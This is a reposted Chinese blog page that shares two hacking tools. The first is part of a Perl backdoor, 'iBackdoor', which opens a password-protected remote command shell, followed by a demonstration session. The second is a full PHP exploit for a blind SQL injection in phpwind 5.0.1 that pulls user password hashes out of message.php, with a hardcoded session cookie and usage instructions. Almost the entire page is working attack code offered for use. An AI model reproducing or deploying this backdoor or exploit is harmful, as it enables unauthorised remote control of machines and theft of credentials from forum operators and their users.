my $sockaddr_listen   = IO::Socket::INET->new(
     LocalPort    => $listen_port,
     Listen       => 1,
     Proto        => 'tcp',
     Reuse        => 1
);

print timestamp(), ", listening on local port '$listen_port'...\n";

my $readers = IO::Select->new();

$readers->add($sockaddr_listen);

while(FOREVER) {
     my @readers = $readers->can_read;

     foreach my $reader (@readers) {
         if($reader eq $sockaddr_listen) {
             my $sockaddr_client = $sockaddr_listen->accept();
             my $client_port      = $sockaddr_client->peerport();
             my $client_ip        = $sockaddr_client->peerhost();

             if(fork() == 0) {
                 my ($rcbuffer, $rcflag, $wcbuffer, $wcflag);

                 send($sockaddr_client, $banner, 0);

                 while(FOREVER) {
                     send($sockaddr_client, "Password: ", 0);
                     recv($sockaddr_client, $rcbuffer, BUFSIZE, 0);
                     chomp($rcbuffer);
                     last if($rcbuffer =~ /$password/i);
                     send($sockaddr_client, "Invalid Password!\n", 0);
                 } #while(FOREVER...

                 $readers->add($sockaddr_client);
                 $readers->remove($sockaddr_listen);

                 $sockaddr_listen->close();

                 my $writers = IO::Select->new();

                 $writers->add($sockaddr_client);

                 send($sockaddr_client, PROMPT, 0);

                 while(FOREVER) {
                     my @readers = $readers->can_read;

                     foreach my $reader (@readers) {
                         if($reader eq $sockaddr_client) {
                             $rcflag = recv($reader, $rcbuffer, BUFSIZE,
0);
                             if($rcflag) {
                                 chomp($rcbuffer);
                                 #print "received: $rcbuffer\n";
                                 $wcbuffer = `$rcbuffer`."\n".PROMPT;
                             } else {
                                 $readers->remove($sockaddr_client);
                                 $writers->remove($sockaddr_client);

                                 $sockaddr_client->close();

                                 print timestamp(), ",
                                     closed from
'$client_ip:$client_port'.\n";
                                 exit;
                             } #if($rcflag...
                         } #if($reader eq $sockaddr_client...
                     } #foreach my $reader (@readers)...

                     my @writers = $writers->can_write;

                     foreach my $writer (@writers) {
                         send($writer, $wcbuffer, 0) if($writer eq
$sockaddr_client);
                     }
                 } #while(FOREVER...
             } else {
                 print timestamp(), ", connected from
'$client_ip:$client_port'.\n";
             }
         } #if($reader eq...
     } #foreach my $reader...

 

} #while(FOREVER...

sub print_help {
     my $file_name = (split /\\/, $0)[-1];

     print <

     >$file_name [-h,-l:,-p]
     -h   print help
     -l   local listen port, default 23
     -p   password, default 123456
             v0.1, by i_am_jojo\@msn.com, please use nc client

HELP

 

}

sub timestamp {
     return strftime "%Y/%m/%d %H:%M:%S", localtime;

 

}

三、eXample

C:\Perl\perl2exe>iBackdoor.exe -l 8888

     >iBackdoor.exe [-h,-l:,-p]
     -h   print help
     -l   local listen port, default 23
     -p   password, default 123456
             v0.1, by i_am_j
...@msn.com, please use nc client

2005/06/08 23:44:18, listening on local port '8888'...
2005/06/08 23:44:30, connected from '127.0.0.1:1357'.
2005/06/08 23:44:36, closed from '127.0.0.1:1357'.
... ...

C:\Perl\scripts\iPort>nc 127.0.0.1 8888
         ++------------------------------++
         || iBackdoor v0.1, by i_am_jojo ||
         ++------------------------------++
Password: 123456
iBackdoor> ping
www.google.com

Pinging www.l.google.com [64.233.189.104] with 32 bytes of data:

Reply from 64.233.189.104: bytes=32 time=377ms TTL=243
Reply from 64.233.189.104: bytes=32 time=316ms TTL=243
Reply from 64.233.189.104: bytes=32 time=341ms TTL=243
Reply from 64.233.189.104: bytes=32 time=397ms TTL=243

Ping statistics for 64.233.189.104:
     Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
     Minimum = 316ms, Maximum = 397ms, Average = 357ms

iBackdoor>

 

(字节数 : 13150)

print_r("

 

+------------------------------------------------------------------+

phpwind 5.0.1 Sql注射漏洞利用程序
By loveshell[at]0x27.com

欢迎访问 [http://www.0x27.com]

国内最专业最及时的web漏洞发放站点

用法: c:\php5\php.exe phpwindexp.php www.0x27.com /bbs/ 2
事先请修改下面的$cookie$useragent


Just For Fun :)
+------------------------------------------------------------------+
");


ini_set("max_execution_time",0);
error_reporting(7);

$bbspath="$argv[2]";
$server="$argv[1]";
$cookie='aa102_c_stamp=1173176226; aa102_lastfid=0; aa102_ol_offset=47369; aa102_ipstate=1173162314; aa102_sid=f902d0ad; aa102_online1=yes; aa102_ck_info=%2F%09; aa102_winduser=AgYAOVRWCQNTC1QAAw4AWlAABFFSUVYMVVVbAFQGVFIGVlAH; aa102_lastvisit=0%091173176226%09%2Findex.php%3F';
$useragent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)";

$uid=intval($argv[3])>0 ? intval($argv[3]):1;

echo "\r\n#Logging\t........";
if(islogin()) echo "Login Ok!\r\n";
else die("Not Login!\tCheck Your Cookie and Useragent!\r\n");


echo "#Testing\t........";
if(test()) echo "Vul!\r\n";
else die("Not Vul");


$hashtable='0123456789abcdef';
$count=0;

echo "#Cracking\t\r\n\r\n";

for($i=1;$i<=16;$i++){
echo "
\t$i\t:";
$subpass=crack($i+8);
$password=$password.$subpass;
echo "$subpass\r\n";
}

echo "Password:\t$password";

echo "\r\nGood Luck $count Times\r\n";


function send($cmd,$path)
{
    global $bbspath,$server,$cookie,$count,$useragent,$debug,$evilip;

    $path=$bbspath."$path";
    $message = "POST ".$path." HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Referer:
http://".$server.$path."\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: ".$useragent."\r\n";
    $message .= "Host: ".$server."\r\n";
    $message .= "Content-length: ".strlen($cmd)."\r\n";
    $message .= "Connection: Keep-Alive\r\n";
    $message .= "Cookie: ".$cookie."\r\n";
    $message .= "\r\n";
    $message .= $cmd."\r\n";

    $count=$count+1;
    $fd = fsockopen( $server, 80 );
    fputs($fd,$message);
    $resp = "

";
    while($fd&&!feof($fd)) {
    $resp .= fread($fd,1024);
    }
    fclose($fd);
    $resp .="
";
    if($debug) {echo $cmd;echo $resp;}
//    echo $resp;
    return $resp;
}


function sqlject($sql){
global $uid;
$data='action=pubmsg&readmsg=0)';
$data=$data." union select BENCHMARK(1000000,md5(12345)) from pw_members where uid=$uid and $sql".'/*';
$echo=send($data,'message.php');
preg_match("/Total (.*)\(/i",$echo,$matches);
if($matches[1]>2) return 1;
else return 0;
}

function test(){
global $uid;
$data='action=pubmsg&readmsg=0)';
$echo=send($data,'message.php');
if(strpos($echo,'MySQL Server Error')) return 1;
else return 0;
}

function islogin(){
global $uid;
$data='action=pubmsg&readmsg=0)';
$echo=send($data,'message.php');
if(strpos($echo,'login.php"')) return 0;
else return 1;
}

function crack($i){
global $hashtable;

$sql="mid(password,$i,1)>0x".bin2hex('8');
if(sqlject($sql)){
$a=8;
$b=15;}
else {
$a=0;
$b=8;
}


for($tmp=$a;$tmp<=$b;$tmp++){
$sql="mid(password,$i,1)=0x".bin2hex($hashtable[$tmp]);
if(sqlject($sql)) return $hashtable[$tmp];
}
crack($i);
}
?>

 

(字节数 : 4281)

 

转载于:https://www.cnblogs.com/jiania1224/archive/2008/11/09/1329932.html

你可能感兴趣的:(关于SQL的一些技巧)